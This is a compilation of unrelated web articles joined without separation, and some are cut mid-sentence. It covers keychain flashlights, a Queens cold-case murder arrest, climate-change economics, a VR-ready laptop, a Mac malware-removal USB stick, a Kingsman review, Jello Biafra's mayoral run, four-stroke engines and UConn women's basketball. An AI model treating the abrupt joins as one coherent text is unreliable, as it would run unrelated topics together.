With its rugged good looks, 132 lumen beam, and three brightness settings, the Illuminati is quite possibly the perfect entry-level flashlight. Why? Because you get to experience some of the features of full-sized lights (rugged body, multiple brightness settings, waterproof seals) at a tiny size and an affordable price point. Unlike some of the other items on this list, the Illuminati actually looks like a flashlight, feels like a flashlight in your hands, and is sturdy enough to take a beating. The hard anodized aluminum body is a step up from the plastic of some of the smaller lights, but the Illuminati is still the size of the average car key. It runs on widely-available AAA batteries (though I recommend some high-quality rechargeables if you plan on using the full-strength beam often). IPX-7 water resistance means you can actually drop it in a meter of water and it will still operate. Its light weight and compact dimensions make it look and feel at home on your keychain.
How it ranks:
One of the only two lights on this list that takes AAAs (along with the Titan Plus).
In terms of brightness, it’s essentially tied for second place with the 130 lumen Niteye Mini-1.
Named one of the nicest-looking keylights in our totally scientific office poll.
We’re confused too. Here in the office, we’re still trying to figure out how the Tube got its name, seeing as there’s nothing tubular anywhere in its design. And since we’re a bunch of snarky geeks, we’d probably mock it to death if it weren’t so darn well-made. Instead, its name just became a loveable quirk of one of our favorite lights.
Feature-wise, the Tube is really impressive. It has two brightness settings, but you can also adjust the brightness to anywhere in between those fixed settings, allowing you to reach the perfect balance between brightness and battery life. It’s impact resistant and water resistant. And it recharges via USB micro cable—the same adapter type as most smartphones. It doesn’t shine as bright as some of the heavier hitters on this list, but it’s still more than enough raw power to get you out of the dark. The Tube is a true Jack-of-all-trades.
How it ranks:
One of the highest-rated products we sell (4.5 stars, over 100 reviews).
Well-balanced between brightness, features, and price.
Named one of the nicest-looking keylights in our totally scientific office poll.
Ok, fine, strictly speaking it’s not a keylight. The Turbo is a bit different from most of the lights we offer, in that it charges in your car lighter. But consider how often you need a light for your car. If you’ve tried to outsmart fate by putting a cheapo light in your glovebox, you probably grabbed it in your hour of need, only to find the batteries had died. Argh, they discharged from sitting unused for so long! Since the Turbo lives in your lighter outlet, it constantly stays charged to max capacity. Ideal for pinch hitting while you replace your dead dome light, locating a wallet that fell under the seat, or peeking under the hood in the dark.
How it ranks:
Cleverly sidesteps the dead flashlight batteries in your glove compartment.
Not exactly a keylight.
I put it on this list because I felt like it. Whatever. Don’t tell me what to do
They didn’t give it this name for nothing. The Titan is the light that will begin to inspire the lust and yearning that may convert you into a full-fledged flashoholic. It’s the brightest, biggest, and most expensive of the flashlights on this list. (Well, biggest, in a manner of speaking. It’s still super-portable. Compared to a Sharpie marker, it’s about as thick, and almost exactly as long as the gray body of the marker.) The stylish Titan tops out at 300 lumens, which is more than double the next-brightest lights on this list. Powered by a single AAA battery, this beast gets immense amounts of light out of a common and widely available cell. You’ll definitely want to invest in some good rechargeables if you spring for this one. Three different output levels let you adjust brightness based on your task. The body is constructed out of nickel-plated solid brass, which gives it a lovely heft. Plus Surefire products are guaranteed for life, so in the rare event that it breaks or malfunctions, you’re completely covered.
How it ranks:
The brightest on this list, by a longshot—more than twice as bright as the Mini-1 and Illuminati.
One of the only two lights on this list that takes AAAs (along with the Illuminati).
Three different brightness settings.
Named one of the nicest-looking keylights in our totally scientific office poll.
My recommendations: Entry level no-brainer light: Titanium Innovations KEYLIGHT Perfect for newcomers who want to enjoy the utility of an everyday carry flashlight without breaking the bank. Also hard to go wrong if you’re having trouble deciding between the lights we’ve reviewed today. If you get one and find yourself wondering “What if it was a little brighter?” or “I wish the beam was a little more focused,” come back to this article and try one of my mid-tier recommendations. All-around versatility: Nitecore Tube Affordable, compact, cool-looking, easy to recharge, tons of settings, and bound to make people ask where you got it. This is the light that many Battery Junction employees carry. After using the Tube for a year or two, you’ll know whether you need a more application-specific flashlight to compliment this great all-rounder. The dream light: Niteye MINI-1 Rechargeable When you power up your Mini-1, folks of your preferred sex and gender will suddenly circle you, cooing at your style and sensibility. They’ll wonder how you combined such brightness with such a small form. They’ll marvel at its USB rechargeability and durable, waterproof frame. You will no longer have to pay for drinks, repay debts, or show up for work on time. You’ll slyly say that you paid a little more for it than some other keylights you could’ve bought, but it was worth every penny. You devil.
What keylight do you carry? What are your favorite features? Have you ever swapped or upgraded? Let us know in the comments—we read every one!A fingerprint left on a ransacked jewelry box helped cops crack the case of a Holocaust survivor who was strangled in his Queens apartment nearly 32 years ago.
The arrest of a convicted robber for Cecil Schiff's brutal murder stunned a former neighbor who was close to the victim's widow, Gertrude, and lived in their Flushing building.
"They were just this nice, gentle, sad couple who had escaped the Holocaust," Candice Hackett, 53, who now lives in South Carolina, told the Daily News.
"I'm just stunned. When he was killed, it just broke her heart into pieces. I still remember the blood on her carpet."
Ernest Mattison, 49, who has been charged with murdering the 73-year-old Schiff, could spend the rest of his life in prison if convicted.
Mattison was just 17 when Schiff was murdered in September 1980 and lived a few blocks from the victim on Kissena Blvd.
Schiff, who escaped from his native Poland in 1940 after the Germans invaded, was set to ring in Rosh Hashanah, the Jewish New Year, when he was killed.
His wife had just left their fourth-floor apartment when, police say, an intruder burst in and beat Schiff over the head, possibly the butt end of a gun.
Schiff collapsed before he reached the phone in the kitchen.
Meanwhile, the killer ransacked the apartment, stole $100 from a wallet — and left behind the tell-tale clue, Queens District Attorney Richard Brown said.
Schiff's wife discovered his body when she returned home and ran from the apartment screaming, "Someone killed my husband!"
The coroner ruled the cause of Schiff's death was strangulation.
Gertrude Schiff died about a decade later, said Hackett, never knowing who killed her husband.
Meanwhile, Mattison continued on a life in crime and was doing time in an upstate prison for another robbery when cold case squad detectives traced the fingerprint to him, Brown said.
In addition to technological advances over the years, it was good old-fashioned police work that did the trick. NYPD cold |
economic analyses developed by scientists around the world to assess costs and benefits of unmitigated climate change on crime, agriculture, energy, labor, coastal communities and mortality.Their key findings include:
Rising mean sea levels linked to stronger, more frequent tropical cyclones will amplify storm tide heights and extend floodplains, worsening problems for low-lying coastal cities. The severe weather will inflict direct annual economic damages of 0.6 to 1.3 percent of GDP for South Carolina, Louisiana and Florida in the median scenario.
Agricultural yields in the Midwest will decline dramatically with rising global mean surface temperatures.
Annual national mortality rates will rise by roughly five deaths per 100,000 people for each degree Celsius increase in temperature.
Electricity demands will increase for all regions except the Rockies and Pacific Northwest, as rising demand due to hot days will more than offset falling demand from cool days.
The number of hours worked will decline about 0.11 percent for each additional degree in rising global mean surface temperature for workers who are not generally exposed to outdoor temperatures, and by 0.53 percent for high-risk, outside workers. The high-risk employees account for about 23 percent of workers in sectors such as agriculture, construction, manufacturing and mining.
Property crimes will increase in the Northeast as the number of cold days decreases. Meanwhile, violent crime rates will increase across the country at about 0.9 percent per each additional degree Celsius in global mean surface temperature.
Focusing on high-value targets
The study results can help everyone from policy-makers and public utilities officials to farmers and law enforcement officials, as well as those in the tourist industry and disaster relief organizations.“This helps us focus on high-value targets,” said Rising. “And while agricultural impacts are quite big, human health turns out to be most important.”In their study, the researchers note that populations may relocate or businesses may opt to move their operations, but the adjustments are unlikely to substantially change the study’s projections.Another major finding, Hsiang said, is a forecast for extremely uneven distribution of the costs of climate change across the country.For example, higher and higher temperatures in the South, which is already very hot, will cause climate change to take an even bigger toll in human lives in that region than in others. And much of the farming in the Midwest, long considered the nation’s breadbasket, will literally dry up under increasing heat.For a while, only desktop computer rigs were equipped to put out the power that the HTC Vive and Oculus Rift require. It wasn’t very long at all before there were laptops highlighted that could handle the load, but even those are a bit more cumbersome to move around. Now, Alienware has created the first 13-inch laptop that is VR ready.
Though small, innovative use of materials like anodized aluminum, magnesium alloy, steel, and copper results in a device that is durable and can withstand the higher temperatures the compact design can create.
The new Alienware 13 is powered by an H-series Intel quad-core i7 processor (the previous model had an i5) and takes advantage of the features introduced in their most recent 17” and 15” models, including a hinge-forward design for better ventilation, the new, durable TactX keyboard, an infrared camera supporting the Windows biometric Hello security system, and Tobii Aware eye-tracking software.
Most importantly, the 13’s graphics capabilities are bolstered by a 10-series NVIDIA GeForce GTX which includes NVIDIA VRWorks. VRWorks optimizes VR output on the graphics card via virtual reality specific visual, audio, and interactive enhancements such as lens matched shading (natively render in VR shapes) and PHYSX (interaction measures to deliver realistic feedback for touch controllers). These specs combine to mark a 5x increase in graphical performance over the previous Alienware 13.
With such a form factor and durable materials, this product could inspire more people to pack their VR gear up and take it around to treat friends to the new experience. Alienware’s VR ready 13” is available to order starting today in North America, has a base model that retails for $1199, and an OLED screen option (first gaming notebook with this option) for $2099. There are other configuration options available that could influence price. The laptop will be available in select European countries on November 10th and China on November 21st.
Correction: An earlier version of this post included incorrect information about the speed of the included graphics card. It is now updated.
Tagged with: alienware, dellAn apple a day keeps the doctor away, or so goes the old adage, but what singular item can help when your Apple computer is the thing needing a doctor? If you like your electronic upkeep simple, easy, and automated, then the answer might be the FixMeStick for Mac, a bootable flash drive containing a utility for cleaning out viruses and pieces of malware from an iMac or Macbook without any meaningful interaction from the user. Now looking for backing through Kickstarter, it could make for a mutually-beneficial gift from a tech-savvy individual to a demanding family member. How does it work? What’s the deal? What’s a Mac? Where do computers come from? The answers to some or all of these questions await you below, friend.
Relative Inconvenience
If you’re reading this—and I’ll assume you are—then you likely have a decent understanding of Windows machines, and very plausibly of Macs as well. When you get so comfortable with such systems, it can be quite easy to forget how completely ignorant some people are about how they work, at least until a cousin or neighbor calls you to decry their sudden inability to find their mouse cursor or turn on their printer.
I’ve never really minded being called upon to resolve a tech-related issue problem, but then I’m a shut-in with the social activity of a corpse. Those with busy schedules and myriad hobbies have better things to do with their evenings than toil at unpaid and unappreciated labor. Furthermore, requests can come from acquaintances scattered across the globe, requiring remote access (too complicated for most), careful instruction (too onerous a task and hugely impractical), or referrals to technical support places. The first two could easily become frustrating, while the last comes across as only marginally better than ignoring people entirely.
Foolproof Simplicity
It’s just when things seem darkest—the night cold and full of terror, and spiders—that the FixMeStick pops up, waving its tiny metaphorical hand and attempting to give you a sly wink. Here’s the deal, it seems to say: buy me for your weakly-literate nephew, have him plug me in, follow some really basic steps, and I’ll get things working again without needing you to lift a finger, although you’ll want to raise at least one entire hand in a fist-shaped celebratory gesture when you realise you’ve finally found a compelling excuse for ignoring any subsequent pleas for assistance.
The software involved consists of a basic Linux core with an antiviral blend for the cleaning. This accomplishes three things: it makes the process very straightforward, takes control away from users who would be more likely to cause harm than good if they tried to interfere, and circumvents attempts from particularly nasty infections to protect themselves by latching on to main operating system functions.
Pricing and Restrictions
Top-end infection removal software tends to carry an ongoing cost, and the FixMeStick is no different. They are aiming for the price point of $60 for the regular model, with $20 for each additional year, though if you back now you can get one for as little as $45. The renewal goes towards the upkeep of making sure the database and removal methods are up to date. Just as the updates are carried out through a Mac’s internet connection, users will be prompted to pay when they try to use the FixMeStick after their license has expired. While each regular stick can only be used with 3 unique Macs per month, there is a more expensive Pro version with no such restrictions, so that might work out cheaper for small businesses.
I’ve seen plenty of people pay exorbitant amounts for antivirus suites they don’t actually know how to use, so it doesn’t seem like a bad deal to me. I also don’t see the Mac limit on the standard version is not especially significant, especially as such machines tend to be very expensive purchases. If someone is fine with paying somewhat more to get a machine with a smoother experience than they might get from a Windows machine, they’d likely understand the price of this kind of convenience, especially considering that it works out cheaper than a typical tech support subscription by some margin.
Have a read through the Kickstarter page and draw your own conclusions, then see if you can put a price on getting your doddering Aunt Veronica off your back for good. If it doesn’t work for you, you can return it for a full refund, so it might be worth a shot even if the Mac you want to use it with is somewhat elderly. If you’re not sure now, don’t be surprised if you’re regretting your stubbornness the next time you’re knee-deep in offloaded malware problems.Kingsman: The Secret Service (2015)
Starring: Colin Firth, Taron Egerton, Samuel L. Jackson, Mark Strong, Sofia Boutella, Michael Caine
Directed By: Matthew Vaughn
Written By: Jane Goldman, Matthew Vaughn
Rating: R (US) Running Time: 2 hr 9 min
Two Cents:
Very loosely based on The Secret Service comic book series, Kingsman arrives in our theaters with a uniquely British sense of humor and style. Like a cross between the best of James Bond, Austin Powers, and King Arthur’s Knights of the Round Table, this film doesn’t sit still for a moment. Taking the well-worn spy movie genre, and giving it a swift kick in the rear!
A glorious R rated picture, complete with jaw-dropping unsanitized action, which is both brutal and bloody, but always delivered with a playful wink of the eye. Kingsman, in a relatively short period of time, introduces the audience to a new take on the British spy movie, while also delivering some incredible surprises. Let’s face it, no one plays secret agent man better than the Brits! That combination of perfectly enunciated Queen’s English, a well-tailored suit and a gentlemanly manner, hiding a well-trained, well equipped killing machine. Guaranteed entertainment!
Kingsman is part coming of age story, and part standard plot involving a megolomaniac’s plans to take over the world. And while I did like this movie a lot, at times it spread itself a little thin as it leaped back and forth between the Kingsman training scenes, and the development of the larger plot. Fortunately however, it more than redeems itself heading into the second half of the film, as several story lines coalesce around the central plot, and the volume on the action and fun gets cranked up to eleven.
Movie Prep:
This isn’t as serious as a Bond film, nor is it a spoof of that franchise either. Stylish, fun, and violent at times, this movie earns its R rating!
Best Format:
This is a massive globetrotting action adventure story. It looks fantastic, and is loaded with great crowd pleasing moments of action and humor. It also has a rousing score by Henry Jackman and Matthew Margeson (X-Men: First Class) so your best experience with this film will be in a crowded theater. At home a HD screening on a nice big TV is your best option. The impact of this film will be diminished on a smaller laptop, tablet or phone sized screen.
Best Moment: << spoiler >>
There are a lot of great surprises in Kingsman: The Secret Service, and the biggest for me was watching Colin Firth be a bad-ass action star as he battles a church full of violent wing-nuts!
References: IMDB
TweetJello Biafra, the sardonic front-man for the Dead Kennedys, both in his writing and live performances, was an expert at assuming villainous roles to reveal greater truths about society—whether it be as a serial murderer (as in the song “I Kill Children”) or as a military advisor (as in the song “Kill the Poor”) or as a stumping politician (as in his failed 1979 bid for Mayor of San Francisco).
In what might have been equal parts prank, publicity stunt, and actual desire to force social change, Biafra threw his hat into the mayoral ring in 1979, running against Dianne Feinstein, Quentin Copp, and David Scott, among others.
Writing in the 33 1/3 series book, Dead Kennedys’ Fresh Fruit for Rotting Vegetables, Michael Stewart Foley describes the anarchic DIY nature of Biafra’s campaign:
Dirk Dirksen hosted a “Biafra for Mayor” benefit on September 3, and raised the necessary $1,125 in filing fees. Consistent with the punk ethos, the volunteers who made up the campaign staff ran it as an entirely DIY affair. Dirk Dirksen, Brad Lapin, Ginger Coyote, Mickey Creep, Joe Target Rees, Klaus Flouride and plenty of others held meetings at Target Studios on South Van Ness to plot strategy. The actual campaign events were few, but got plenty of media attention. A “whistle-stop tour,” for example, started with a rally at City Hall, followed by stops along the BART line down Market Street. Kathy “Chi Chi” Penick, Dead Kennedys’ new manager, carried a sign that said “If He Doesn’t Win, I’ll Kill Myself.” Other inspiring placard slogans included “Apocalypse Now,” and “What if He Wins?” Biafra, led the procession, “kissing hands and shaking babies.”
Using the slogan “There’s always room for Jello,” Biafra got onto the ballot In San Francisco. Any individual could legally run for mayor if a petition was signed by 1500 people or if $1500 was paid. Biafra paid $900 and got enough signatures to become a legal candidate, meaning his statements would be put in voters’ pamphlets and he would receive equal news coverage.
Original art for Biafra campaign buttons from Flickr user “Wackystuff”
This past Monday, Joe Rees of Target Video, the de facto documentarian of the San Francisco punk scene, uploaded an edit of eleven minutes worth of TV clips from this news coverage. Being somewhat of a Jellophile myself, I had previously seen a few of these clips which had been included on old Target Video VHS compilations back in the day, but some of this stuff is brand new to me—and I suspect also unseen by many of our readers. It’s a treat that Rees is still opening up his archives to the public like this.
It’s remarkable how serious young Biafra appears in some of these snippets, while at the same time completely mocking the political process. Pay particular attention to Biafra’s campaign platform, which is utterly absurd, but probably resonated with many 1979 San Francisco voters.
Biafra finished an incredible fourth out of a field of ten, receiving 3.79% of the vote (6,591 votes). His participation in the election caused a runoff between Dianne Feinstein and Quentin Kopp which resulted in Feinstein’s election.
Here it is. One of the great punk rock pranks of all time:
Previously on Dangerous Minds:
Hear the Dead Kennedys as a five-piece with KEYBOARDS, play a Rolling Stones coverAnimated Engines
Four Stroke Engine
The four stroke engine was first demonstrated by Nikolaus Otto in 18761, hence it is also known as the Otto cycle. The technically correct term is actually four stroke cycle. The four stroke engine is probably the most common engine type nowadays. It powers almost all cars and trucks.
The four strokes of the cycle are intake, compression, power, and exhaust. Each corresponds to one full stroke of the piston; therefore, the complete cycle requires two revolutions of the crankshaft to complete.
Intake
During the intake stroke, the piston moves downward, drawing a fresh charge of vaporized fuel/air mixture. The illustrated engine features a poppet intake valve which is drawn open by the vacuum produced by the intake stroke. Some early engines worked this way; however, most modern engines incorporate an extra cam/lifter arrangement as seen on the exhaust valve. The exhaust valve is held shut by a spring (not illustrated here).
Compression
As the piston rises, the poppet valve is forced shut by the increased cylinder pressure. Flywheel momentum drives the piston upward, compressing the fuel/air mixture.
Power
At the top of the compression stroke, the spark plug fires, igniting the compressed fuel. As the fuel burns it expands, driving the piston downward.
Exhaust
At the bottom of the power stroke, the exhaust valve is opened by the cam/lifter mechanism. The upward stroke of the piston drives the exhausted fuel out of the cylinder.
Ignition System
This animation also illustrates a simple ignition system using breaker points, coil, condenser, and battery.
A number of visitors have written to point out a problem with the breaker points in my illustration. In this style ignition circuit, the spark plug will fire just as the breaker points open. The illustration appears to have this backwards.
In fact, the illustration is correct; it just moves so fast it’s difficult to see! Here’s a close-up of the frames just at the point the plug fires:
My original intent was to accurately show that the points need to remain closed for only a fraction of a second, called the dwell. By illustrating this, I inadvertently obscured the overall operation of the circuit. Perhaps someday I’ll prepare a more detailed illustration of the ignition system alone.
Larger four stroke engines usually include more than one cylinder, have various arrangements for the camshaft (dual, overhead, etc.), sometimes feature fuel injection, turbochargers, multiple valves, etc. None of these enhancements changes the basic operation of the engine.UConn has also been one of the leaders in women's basketball attendance; the team plays its home games at both the Harry A. Gampel Pavilion in Storrs and the XL Center in Hartford.
UConn's current head coach is Luigi "Geno" Auriemma, who joined the team in 1985. Coach Auriemma is one of the best coaches in college basketball: his 1027–135 (.884) record as of March 2018 represents the highest winning percentage among NCAA basketball coaches (minimum 10 seasons), any level, men's or women's, [5] while ranking him third in all-time women's wins behind former Tennessee coach Pat Summitt and current Stanford coach Tara VanDerveer.
UConn owns the two longest winning streaks (men's or women's) in college basketball history. The longest streak, 111 straight wins, started with a win against Creighton on November 23, 2014, and ended on March 31, 2017 when a buzzer-beater at the end of overtime caused a 66-64 loss in the 2017 NCAA Final Four to Mississippi State. [3] The second streak counts 90 consecutive wins, including two undefeated seasons (2008–09 and 2009–10), and was delimited by two losses against Stanford, the first on April 6, 2008 in the National Semifinals of the NCAA Tournament, and the second – three seasons later – on December 19, 2010. [4]
The UConn Huskies are the most successful women's basketball program in the nation, having won a record 11 NCAA Division I National Championships and a women's record four in a row, from 2013 through 2016, [2] plus over 40 conference regular season and tournament championships.
Early years (1974–1991) Edit
After just one winning season in 10 years under coaches Sandra Hamm (1974–75), Wanda Flora (1975–80) and Jean Balthaser (1980–85), UConn hired as their new head coach the Italian-born Geno Auriemma, who had served as assistant coach at Virginia, with the goal of revitalizing the program. Auriemma's training skills had an immediate impact and the team showed steady signs of progress: after going 12–15 in his first season in 1985–86, Auriemma led UConn to winning seasons in 1986–87 and 1987–88.[6]
Auriemma pulled off one of his biggest and most important early recruiting successes in 1987 when he convinced an All American from New Hampshire, Kerry Bascom, to come to UConn. Bascom had an immediate impact on the UConn program: in 1989 she won the Big East Player of the Year award as a sophomore (she also won the award in her junior and senior years) and led UConn to its first Big East regular season and Tournament title, along with its first-ever NCAA tournament appearance; the tournament ended in a first round loss. With Bascom and teammates Laura Lishness, Megan Pattyson, Wendy Davis and Debbie Baer, UConn reached the NCAA Tournament again in 1990, losing 61–59 to Clemson in the second round after a first-round bye.[7]
In Auriemma's 6th season (1990–91) the program broke through on the national scene, again capturing the Big East regular season and Tournament titles, and earning a #3 seed in the East Regional of the NCAA Tournament, its highest seed up to then. UConn beat Toledo 81–80 at Gampel Pavilion in the opening round game, with Bascom scoring a team NCAA tournament single-game record 39 points, and moved on to the regionals at The Palestra in Auriemma's hometown of Philadelphia. Here the team upset heavily favored ACC power North Carolina State in the Sweet 16, and then defeated Clemson 60–57 to advance to their first-ever Final Four, also a first for any Big East school. UConn's season ended with a 61–55 loss to top-seeded Virginia in the national semifinals at Lakefront Arena in New Orleans. Bascom was hit with early foul trouble and Virginia held off a late UConn rally. Including these final tournament games, Bascom had set a new UConn scoring record with 2,177 points during her years at the school.[8]
Rebecca Lobo era (1992–1995) Edit
1995 Championship trophy, ring, and signed ball
UConn followed up its surprise run to the Final Four in 1991 by landing All-American Rebecca Lobo from Southwick, Massachusetts.
UConn had modest success in Lobo's first 2 seasons, losing early in the NCAA Tournament in both seasons. In 1993–94, UConn had its most successful season to that point;[9] led by Lobo and teammates Jamelle Elliott, Jennifer Rizzotti, Pam Webber, Kara Wolters and Carla Berube, UConn won 30 games for the first time in program history, winning the Big East tournament and regular-season titles. In the NCAA tournament UConn reached the Elite Eight but came up short in its hopes to make it back to the Final Four, losing to eventual champion North Carolina.
1995 national championship: undefeated (35–0) Edit
With every major player back from 1994, and the addition of Auriemma's most highly ranked recruit to date (Connecticut Player of the Year Nykesha Sales), UConn was in for a season to remember in 1994–95.[10] The season started with an 80-point win over Morgan State; two weeks later, UConn defeated powerhouse North Carolina State by 23 points on the road. This season also saw the birth of one of the greatest rivalries in college sports, the UConn-Tennessee rivalry, that began when the two teams met for the first time on Martin Luther King Day at Gampel Pavilion. UConn defeated Tennessee 77–66 in front of a sold-out crowd in a game televised on ESPN and soon afterwards was ranked #1 in the polls for the first time in program history.
UConn went unbeaten through the Conference regular season and Tournament and easily advanced into the NCAA Tournament; in the regional final against Virginia a 4-points win in their closest game of the year opened the doors of the Final Four at the Target Center in Minneapolis.[11] UConn blew out Stanford in the semifinals behind Wolters' 31 points, reaching the championship game for a rematch against Tennessee. In the final game UConn found itself in early trouble when Lobo was called for three personal fouls in 94 seconds in the first half, but in the second half the team was able to rally from a 9-point deficit and a key Rizzotti layup gave UConn the lead with less than 2 minutes to go, a lead that the team kept until the final score of 70–64 and their first national title. Rebecca Lobo was named the Final Four's Most Outstanding Player.
With a perfect 35–0 record, UConn became only the fifth Division I women's basketball team to go undefeated en route to a national championship, and only the second in the NCAA era (since 1982). The Huskies also became the first unbeaten team in NCAA history (all divisions, men or women) to win 35 games in a season.[12]
The 1994–95 UConn team was widely credited with increasing interest in women's basketball.[13] The team was honored with a parade in Hartford, CT that drew over 100,000 spectators. The team won the Team of the Year Award at the ESPN ESPY awards that year, and Lobo became a popular symbol of the sport. UConn also signed a landmark deal during the season with Connecticut Public Television to broadcast their games.[14]
Lobo graduated in 1995 receiving countless accolades: the Naismith College Player of the Year award, the Wade Trophy, the Associated Press Women's College Basketball Player of the Year award, the USBWA Women's National Player of the Year award, the Honda-Broderick Cup, the Best Female Athlete ESPY Award (first basketball player ever), the Associated Press Athlete of the Year (second basketball player after Sheryl Swoopes), the NCAA Woman of the Year Award, the Academic All-America of the Year and also All-sports Academic All-America of the Year.
In 2010 Lobo became the first Connecticut player inducted into the Women's Basketball Hall of Fame, among a class of six inductees,[15] followed by teammate Jennifer Rizzotti in the class of 2013.[16]
A new powerhouse is born (1996–2000) Edit
After the 1995 Championship title, UConn rose to national prominence as one of the powerhouses in women's college basketball, giving coach Auriemma the chance to recruit star talents from high school like Shea Ralph in 1996 and Svetlana Abrosimova in 1997.
Escalation of rivalry with Tennessee Edit
Starting with their two meetings in 1995, the rivalry between the Tennessee Lady Vols and UConn escalated through the late 90's and into the 2000s, becoming the marquee matchup in all women's sports, and taking on parallels to the Red Sox-Yankees rivalry in Major League Baseball. Geno Auriemma jokingly once referred to Pat Summitt and Tennessee as the "evil empire", like Red Sox president and CEO Larry Lucchino said of the Yankees.[17]
In the 1995–96 season UConn ended Tennessee's home court winning streak at Thompson–Boling Arena in Knoxville. Tennessee avenged itself in the Final Four that year in Charlotte, defeating UConn 88–83 in overtime; the game is often thought to be one of the more memorable tournament games in tournament history with many back and forth swings of momentum.[18]
UConn defeated Tennessee during the 1996–97 regular season; after a season-ending injury for Shea Ralph in the first round of the NCAA tournament, UConn reached the Regional Final where the two teams met again, with Tennessee prevailing and ending Connecticut's unbeaten season by winning 91–81.[19]
Tennessee defeated Connecticut again in the 1997–98 regular season. A mini controversy erupted in the days after the game when Tennessee's Chamique Holdsclaw was quoted in the papers as saying UConn looked scared during the game; Auriemma denounced that quote.[20] With Shea Ralph and senior Nykesha Sales out for the entire season, freshman Svetlana Abrosimova led a young UConn team to the NCAA Tournament Regional Final where they eventually lost to North Carolina State 60–52.
Nykesha Sales controversy Edit
Auriemma found himself in a national debate following a decision he made during the 1997–98 season. Senior Nykesha Sales suffered a season-ending injury in one of the final games of the regular season. At the time of her injury, she was only one point shy of Kerry Bascom's school scoring record. The next game, with Bascom's blessing, and assistance from friend and Villanova head coach Harry Paretta, Auriemma arranged to have Sales, who was on crutches, score a basket and then allow Villanova to score a basket to start the game at 2–2. Sales then held the school scoring record.[21]
Many people weighed in on the decision on both national and local levels. Auriemma felt guilty that he put Sales through the ordeal and was angry that some columnists chose to fault her and not him. Auriemma was criticized for compromising the integrity of the game, but defended the decision saying it was a school record and he would never had done it without Bascom's blessing.[22]
Arrival of the TASSK Force Edit
Auriemma signed his best recruiting class to date in 1998 when he signed five top-15 nationally ranked players. High school All-Americans Swin Cash, Tamika Williams, Sue Bird, Asjha Jones, and Keirsten Walters were dubbed "TASSK Force" by Connecticut fans, using the players' initials. The class renewed hope of bringing more championships to Storrs after watching archrival Tennessee win three in a row.
The first season for the highly ranked class in 1998–99 was up and down and featured many injuries: Sue Bird tore her ACL and was lost for the season after only 10 games.
In the 1999 meeting at Gampel Pavilion, Tennessee prevailed again. During the game there was a scuffle involving Tennessee's Semeka Randall and Connecticut's Svetlana Abrosimova where Randall threw the ball down, hitting Abrosimova's head. UConn fans booed Randall the rest of the game and Tennessee fans later gave her the nickname "Boo."[23] The 1998–99 season ended in the Sweet Sixteen round of the NCAA Tournament, where UConn lost 64–58 to Iowa State, falling short of reaching the Final Four for the third consecutive time.
2000 national championship Edit
Motivated by the previous disappointing season, UConn came back in 1999–2000 with the clear goal of reaching the championship level again. Led by upperclassmen Shea Ralph, Kelly Schumacher, Svetlana Abrosimova and the TASS Force (the K was dropped when Keirsten Walters had to give up basketball due to knee problems), UConn went through the regular season with a 27–1 record, their only loss being a single-point defeat to Tennessee at home—UConn had beaten Tennessee earlier in the season in Knoxville, and this was the first year the teams met twice. The Huskies advanced to their first Final Four since 1996 and beat Penn State in the semifinals, reaching the Lady Vols for the championship game in Auriemma's hometown of Philadelphia. Despite the two regular season meetings being close battles, UConn used tenacious defense and backdoor cuts to overwhelm Tennessee 71–52 for their second national championship. Connecticut's final season record was 36–1 and Shea Ralph was named the Final Four's MVP.[24]
Diana Taurasi era (2001–2004) Edit
Diana Taurasi Naismith Award
Auriemma pulled off another huge recruiting coup when he convinced All-American guard Diana Taurasi to travel across country to attend Connecticut. Taurasi hailed from Chino, California, and attended Don Lugo High School where she was the recipient of the 2000 Cheryl Miller Award, presented by the Los Angeles Times to the best player in southern California. She was also named the 2000 Naismith and Parade Magazine National High School Player of the Year. Taurasi finished her high school career ranked second to Cheryl Miller in state history with 3,047 points.[25]
With Taurasi joining the core of the 2000 Championship team, Auriemma confidently predicted another championship in 2001, but the season turned out to be more difficult than expected. UConn won the Big East Tournament over Notre Dame in a game remembered for the Bird at the Buzzer shot, but lost key players Abrosimova and Ralph to season-ending injuries.[26] As a consequence, Taurasi had to play a much larger role than anticipated in the NCAA Tournament. She led UConn to the Final Four, but in the national semifinals against Notre Dame in St. Louis, Taurasi had a poor shooting game, and despite UConn having attained a 16-point lead at one point, the team lost. Notre Dame went on to win its first national championship.
2002 national championship: undefeated (39–0) Edit
As with the 2000 champions, who had also come off a disappointing loss the year before, UConn returned hungrier than ever in 2001–02. With the TASS force in their senior season and Taurasi emerging as a star in her sophomore year, UConn rolled through its opponents throughout the year. The only close game the Huskies played all year long was a win at Virginia Tech.
UConn advanced to the Final Four and outscored rival Tennessee in the semifinals by 23 points. In front of a record-breaking crowd at the Alamodome in San Antonio, UConn defeated Oklahoma for the championship 82–70 to complete a perfect 39–0 season. The starting five of Bird, Taurasi, Cash, Jones, and Williams is widely regarded as the best starting five in women's college basketball history.[27] The championship game that year shattered ratings for ESPN and at the time was the highest rated college basketball game to air on the network, men's or women's.[28]
2003 national championship Edit
With the TASS force graduated, Diana Taurasi had to carry most of the load in her junior season, with help from returning teammates Maria Conlon, Jessica Moore and Ashley Battle and a top-ranked recruiting class of Ann Strother, Barbara Turner, Willnet Crockett and Nicole Wolff. With no seniors on the roster, 2003 was supposed to be a rebuilding year for UConn, but as the year progressed it became clear that Taurasi was up to the challenge of carrying a group of young players to the championship. UConn finished the regular season undefeated and established a 70-game winning streak, shattering the previous mark of 54 set by Louisiana Tech; the streak ended in the Big East championship game loss to Villanova.[29]
In the NCAA Tournament UConn easily advanced to the Final Four at the Georgia Dome in Atlanta. UConn rallied from a 9-point deficit to beat Texas in the semifinals and, aided by Taurasi's 28 points in the finals, defeated rival Tennessee for UConn's fourth national championship. UConn became the first team to win a championship without a senior on their roster.[30][31]
2004 national championship Edit
2004 Championship trophy, ring, and signed ball
Although the entire team returned and expectations were sky high for a "three-peat" in Taurasi's senior year, UConn had an uneven season. The team gave up large leads against Duke and suffered losses to Notre Dame and Villanova, also losing to Boston College in the semifinals of the Big East Tournament.
The Huskies found their rhythm during the NCAA Tournament, in which they were a #2 seed; in the Elite Eight they beat top-seeded Penn State to advance to the Final Four at the New Orleans Arena. After beating Minnesota in the semifinals, UConn again defeated Tennessee for the national championship. The win was even more special as the UConn men's basketball team won the men's national championship the previous night, marking the first time one University won both the men's and women's basketball championships in one season, a feat UConn repeated in 2014.
In her career at UConn, Taurasi led the team to four consecutive Final Fours and three straight national titles. Prior to that final championship, her coach, Geno Auriemma, predicted his team's likelihood of winning with the statement, "We have Diana, and you don't."[32]
